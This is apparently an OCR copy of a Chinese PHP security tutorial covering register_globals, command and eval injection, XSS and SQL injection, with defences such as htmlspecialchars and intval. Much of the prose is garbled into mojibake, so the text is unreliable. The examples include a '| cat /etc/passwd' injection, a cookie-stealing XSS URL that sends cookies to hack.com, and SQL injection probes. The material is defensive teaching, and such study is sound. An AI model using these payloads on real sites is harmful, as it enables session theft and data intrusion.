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BEX PHP () W9 3t = A7 AE T 1 L AP BT 77 2

1. #ir4¥E A (Command Injection)

2. eval ¥ A (Eval Injection)

3. B i A 5 (Seript Insertion)

4. 5 Wik A 0 (Cross Site Scripting, XSS)

5. SQL yEAHHi(SQL injection)

6+ %5 W vk sk Ohi& B 5 (Cross Site Request Forgeries, CSRF)
7. Session 21 #FF(Session Hijacking)

8. Session [ii] & K il (Session Fixation)

9. HTTP Wi 4573 Bt (HT TP Response Splitting)

10, 30 A% IR (File Upload Attack)

11, H 3% %8R (Directory Traversal)

12 SR SCAAL 75 Bt (Remote Inclusion)

13 BhA R EUFE N Yt (Dynamic Variable Evaluation)

14, URL Hifi(URL attack)

15, 2% AT WY KLt (Spoofed Form Submissions)

16 HTTP i 3K i Xt (Spoofed HTTP Requests)

PUS VBRI R, 25BN 4RI L8] 1) Ji BEFN 7 401 7V o

JUASE ) php.ini 35
Register Globals
php>=4.2.0, php.ini [ register_globals LI ELIAME T A Off, 4 register_globals X ¥ i&
o On I, FE7n] LAECK F IR SS A5 (10 & Fh R A &, A4 R e A2 (48 &, 1 HLii T~ PHP
ADFLHIA AR B RE, A FBURK 22 G
% 1:
//check_admin() F T H 28 57 FH P AR, 2R /2 admin 55 Sis_admin B84 true, SAJ5 T [
FIBT AT S &N true, SRS PAT B BEA— LU HRAR
/lex1.php
<?php
if (check admin())
{
$is_admin = true;
H
if ($is_admin)
{
do_something();
§
7>
X —BARIE A K $is_admin FHAEHIUGRE A Flase, 1R register globals & On, HBAFRATHE
FAEAE http//www.sectop.com/ex1.php?is_admin=true, i, ] A%¢id check admin()f % ik

% 2:
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/lex2.php
<?php
if (isset($_SESSION["username']))
{
do_something();
H
else
{
echo "1 A EE I
b
7>
B register_globals=On N} , F* ] & =z

http://www.sectop.com/ex2.php? SESSION[usernamel]=dodo, HtHA T HLH F AR
Pt AANE register_globals T4, FRATHENCA:, X TAEMAE R AR Z 4 r A s, A2
HEYIIH

safe_mode

24, PHP FORBRGISCRAOAF I, BRI AS S A7 I, P MM AT 5
A2 E php.ini 1 safe_mode = On

1o FRAISCAA7E

safe_mode include dir ="/pathl:/path2:/path3"

ANTR ST Y B 5 B T

2. BRAIFA I A 1) A7 B

safe mode allowed env_vars = string

fa € PHP F27 ] AU IR s 1 HT4E, Wlsafe mode allowed env_vars = PHP_,*4iX4
IEIRE R 2, S php W] LSO AT 345548

safe_ mode protected env_vars = string

FISKARE php B4 P AN AT 43R O30 358 A 8 1A 4%

3. BRAISNEBFL > B AT

safe mode exec_ dir = string

BEIE IR 2 B SCAE I A5 52 ) system. exec popen. passthru, AEZHA shell exec Fl 7,
disable functions = string

AF TR B AFR AL S RETT,  BEIEIAN S 2 4R 52

magic quotes

FKAE php By B ANAE B B30 L AR5 (7), WE15(), ORHLE )M 7
FF(NULL), #B8Hzhn bR BT AT X

magic_quotes_gpc =On HIoK % & magic quotes & On, ‘&2 520 HTTP &K 114 (GET .
POST. Cookies)

FEI7 B m] DU addslashes S CHEAS I HTTP 15K £dis, 50 H stripslashes KM 4%

PHP Jmili 2 (—)- 21 E ANt
A ANITE
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PHP " a] LU R 41 5 A BRBORAAT S0 5 R 3 2 ek 2
system. exec. passthru. shell exec. (45 shell exec ZhHEHFI[A])
bR A Y

string system(string command, int &return_var)

command EHAT KA 4

return_var £F/8CAT i & AT IS IR

string exec (string command, array &output, int &return_var)
command ZEHAT [ ir4

output FRAFHAT dir- 4t I RF—AT 74T H

return_var 7T T4 5 KPR

void passthru (string command, int &return_var)

command EHAT A4

return_var A7JSCHT T2 e KPR

string shell exec (string command)

command EHAT A4

Tl 451
i 1:
/lex1.php
<?php
$dir =% GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
7>
FATTEEAL http//www.sectop.com/ex1.php?dir=| cat /etc/passwd
UG, AT system("ls -al | cat /etc/passwd");

eval VEAXH
eval BRECEHH N4 5 404 4F PHP B AU kAT
PRI T
mixed eval(string code_str) //eval ¥ A\ — kA 7R B 5 Be 4 il A 1) -
/lex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
Sarg=$ GET["arg"];
eval("$var = Sarg;");
echo "\$var =".$var;
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7>
MFATIHEAL httpy//www.sectop.com/ex2.php?arg=phpinfo(); I i it 7= 2L T
<?php
func A()
{
dosomething();
H
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc=$ GET["func"];
echo $myfunc();
}

7>
By n i 2 &2 83 & W M A A B R %, &M
http://www.sectop.com/ex.php?func=phpinfo Jwii; = E

DIR[OWIRPS

1. B ALEHAT MR 2

2. A B SRR H i ek B R A AN 4 ) D) BE

3. f#iHH escapeshellarg p& HOR AL EL iy 2240

4. f#iH] safe mode exec_dir 45 % 1 04T SCAF 4%

esacpeshellarg ¥ 52N (T 31 SER i 2 G AN TAFRE X, W15, B, 33|
T, B, g R

H] safe_mode_exec_dir 45 5€ P AT SO B84, AT LB S0 1 fir S L AT Bh s 42 N
safe_ mode = On

safe mode exec_di r=/ust/local/php/bin/

PHP Yl 4 (=)-% 7 s A A

% P it AR N (Seript Insertion), 2454 n] AT I AR AN B L By, 2y sl b B ¢
FEERNB N TR N R G, BEEE A RS S AT, gEm I aE 26t
T LA AE AR HTML AR28— B HE LU~ JLA:

1. <script>Hr2EHric [ javascript A1 vbscript &5 U [ IAFEF . 7E<script>Ar2E N 1] LLFR 2 js
FEPARRY, o] LATE sre J& 1 N TR E js SCHFI URL #4417

2. <object>HARZEFRIC NG o IXLEXT LT java applet 2 WAA SR ActiveX #54F4% . Tl A
7t data J&VE A $5EXRTSH) URL 2517

3. <embed>FRAEFRICIINT G o IXLEXT G LIRS, Billnswt . HAE sce JBIENTR
JEXT G URL BE1%
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4, <applet> bR 2R ic TG o IXEENT 52 08 java applet, 1T 7E codebase J& T N 15 € X1 % 1) URL
PRAE
5, <form>bRASEHR L RIS B o 3K 71 action J& % A 45 & ZEAL B AR PRI 1Y) web N H R 7 1¥) URL
AT

R, B, PE. 5D

T i A RN PR Bk 2 R

1o ek B VE N Y i 68 foki A

2. FTOTHE S UL, i T js AR

3. FA A g sk (OFRE DD, WM E N A
4. BEPRAE R S AP js AR AT, Bk i)

LAl
Kl e
CREATE TABLE ‘postmessage” (
id” int(11) NOT NULL auto_increment,
‘subject’ varchar(60) NOT NULL default ",
‘name’ varchar(40) NOT NULL default ",
‘email’ varchar(25) NOT NULL default ",
‘question” mediumtext NOT NULL,
‘postdate” datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY (iid)
) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=' 1§ /] # ) ¥ &'
AUTO_INCREMENT=69 ;
//add.php N 7
/Nist.php 5 4K
//show.php W/ F &
R AR PE4T 6 Fodtb ik
e e
AT =

WL B 5 I 2 AT s BIAS

i\ <script>while(1) {windows.open();}</script> JG R AE

ffi A<script>location.href="http://www.sectop.com";</script> Bk £ 7 [f]
B ] HoAth B AT R IE ) js AR AT Bt

DIRENUPIRFN

—f5efd ) htmispecialehars B KK 4% 7 5 74 6 40 HTML %)

bR A 2

string htmlspecialchars (string string, int quote_style, string charset)

string & B4 % (4T

quote_style Wi , {4 ENT_COMPAT. ENT_QUOTES . ENT_NOQUOTES, #Ki\fH
ENT_COMPAT, K75 HEH G5 A4 5] 5 o ENT_QUOTES , W55 L5 |5 #R
HFEH . ENT_NOQUOTES , 47| 5 Al th5 | 5 A 4t
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charset W] %, Al H 1) 7474
PR S Bs R BRF IR PP 4 B htm G

R, B, PE. 5D

& ----> &amp;
" -—--> &quot;
'-—-> &#039;
<> &t
> o> &gt

& show.php %45 98 17 MU,
<?php echo htmlspecialchars(nl2br($row['question']), ENT _QUOTES); 7>
ARG AFEREA js B T

PHP Jili A= f# (PU)-xss 15 ul JA X

XSS(Cross Site Scripting) , = A5 W sk A K &5, S T FIFEA K css(Cascading Style Sheet) [X
Bl A58 XSS

5 il JEAS 32 Al TS0 2 R FH R S B sl () cookies Bl HoA AN N B, — B #5 15 2
IXLCHR, T2 A iy CAEA 2 et F P R 6 sk Pty SRAG I 7 AR

5 St A ek (1) — o B

1y Buig LM 7 202 xss (1) hitp #4525 H AR H -

2. HEsH OGS nt, 708 AT IT T Bah 5 RO xss 4

3. PIESEAT T I xss Bt A

4, Hbs A GOgki 21825 0 sl Bt s T B AR H P BAE R

5. Bt # AT B AR P B B sk M, 58 Bt

M A A O R B, Bl o B iE SR L
http://www.sectop.com/search.php?key=<script>document.location="http://www.hack.com/getcoo
kie.php?cookie="+document.cookie;</script> , W4 /7 siidif5, W LASREUH P cookies {H
DIFEWARPS

FIH] htmlspecialchars R UK & 745 46 40 ik HTML 265

bR K 2

string htmlspecialchars (string string, int quote_style, string charset)

string A2 4 5 1) 715 H

quote_style %t ,fE Al &4 ENT _COMPAT. ENT_QUOTES . ENT NOQUOTES, %I\l
ENT_COMPAT, &7n HEHXG 5 AN 5] 5 . ENT_QUOTES , &7 | 5 AL | 5 #
Pk, ENT NOQUOTES, KX 5|5 fl G| 5 48 A 4

charset RJ %, RN H 17 FF 45

PR SORE R HRE IR T AT F 4 html 2 5

& ----> &amp;
" -—-> &quot;
"> &#039;
<-—-> &lt;
> o> &gt
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$ SERVER["PHP SELF"|A% & (1) ik

FERARA, QRS HA A, SRR
<form action="<?php echo $ SERVER["PHP_ SELF"];?>" method="POST">

</form>

$ SERVER["PHP_SELF"] A% [fI{f A 24 iy UL [f] 4% B

i:

http://www.sectop.com/get.php

get.php H IR L

IR FRATHRAT
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>

A AR,

<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">

P L A ARt 5 T

Bl 7792348 72 48 FH htmlspecialchars 1 S5 H AR &, B 322845 B 5 SO A FLfd

<form action="" method="post">
XR84T $_SERVER["PHP_SELF" A5 f8: 4l 15 3

PHP I il 4= f# (11)-SQL v AUttt

R, B, PE. 5D

SQL 7 AN Xt (SQL Injection), Bl # 7K HL AR EEATRE O IE 1) sql 5], 2R R K11 sql

A, IR web BT B AT B R, AR AR sl TEALit
SQL NIt B

1. B VA SQL VENIRIAMIMES, T4 4

2 VB HIEHE NI, VEN ORI ) SQL 04 & BT sql 40
30 R sql VOB AR AT SO P AT b

4. HUHRPEIGT T B SQLIET, 51% SQL AL

LAl
el e
CREATE TABLE ‘postmessage” (
id” int(11) NOT NULL auto_increment,
‘subject’ varchar(60) NOT NULL default ",
‘name’ varchar(40) NOT NULL default ",
‘email’ varchar(25) NOT NULL default ",
‘question” mediumtext NOT NULL,
‘postdate’ datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY ('id")

) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=' 1§ i % 1) ¥

AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to 'sectop'@localhost identified by '123456',
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//add.php A S

/Nist.php 54K

//show.php /R

R FOICHE AT A0 28k

RT3

T http//www.netsos.com.cn/show.php?id=71 R GEAFLEAF AN s, FATTRIMEK
http://www.netsos.com.cn/show.php?id=71 and 1=1

IR [5G 1

$E4Z http//www.netsos.com.cn/show.php?id=71 and 1=2
AED]

—IREWBL S, A, RATRE B
//show.php 12-15 1T
/| AT mysql £XIHTE )
$query = "select * from postmessage whereid =".$ GET["id"];
$result = mysql query($query)
or die(" AT ySQL A #ITEAJRIL: " . mysql_error());
SR d AR EIER S, R 745 H 455 1 sql T AN S FEEA T A it
A2 and 1=1, WBEHJAL K select * from postmessage whereid =71 and 1=1 X5 0)H{E 5 {EH AP
NI, and BUSHOGEC, IR [0 ) 2 1 Hodh
P28 and 1=2, HHJARY select * from postmessage where id = 71 and 1=2 X5 GBI {E A .,
JEME R, and LUE MR, S WA EMEATHE
IEH ) SQL & ify, L FATMIERITERZ )G, BT SQLIEABGE . X MEA L, K
ABE v LAdE— P = 2R, e 3R H union S2HUE BRA RS, SEHCEE PEAE S, 568 A mysql
f) load file, into outfile 45 K ¥Cdt—25153% .
DIR[OWIRPS
BAZH:
{81 intval bR EOR Eodh 4 el B 5
BRI H i Y
int intval(mixed var, int base)
var & S R P IR AR
base, Wik, JEREANEL ERIAAE 10
RIS
f# ] floatval ¢ doubleval & H7 ) i 5K UK 27 i T 24K
PR A Y
int floatval(mixed var)
var J& Z R AR B
int doubleval(mixed var)
var s S A
TR SHL
fiH] addslashes RECKRE B |5 B\, XSGR\, ORI Ve flgce\V,
NULL 7470k SR
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=~ |

RE,. BB, &, §M

PR A Y
string addslashes (string str)
str A2 ZEAT AT (1 A H
I WIA IR A S, FRATT ] X FEAE AN
/I BIT mysql E)IEH)
$query = "select * from postmessage where id = ".intval($ GET["id"]);
$result = mysql query($query)
or die(" AT ySQL A HITEJ RN " . mysql error());
AR PR, ST magic_quotes_gpe A&7 4 On, A4 On BN A H] addslashes % X
TR AT
if(get_magic_quotes_gpc())

{
$var=$_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}

PR, il S22 40
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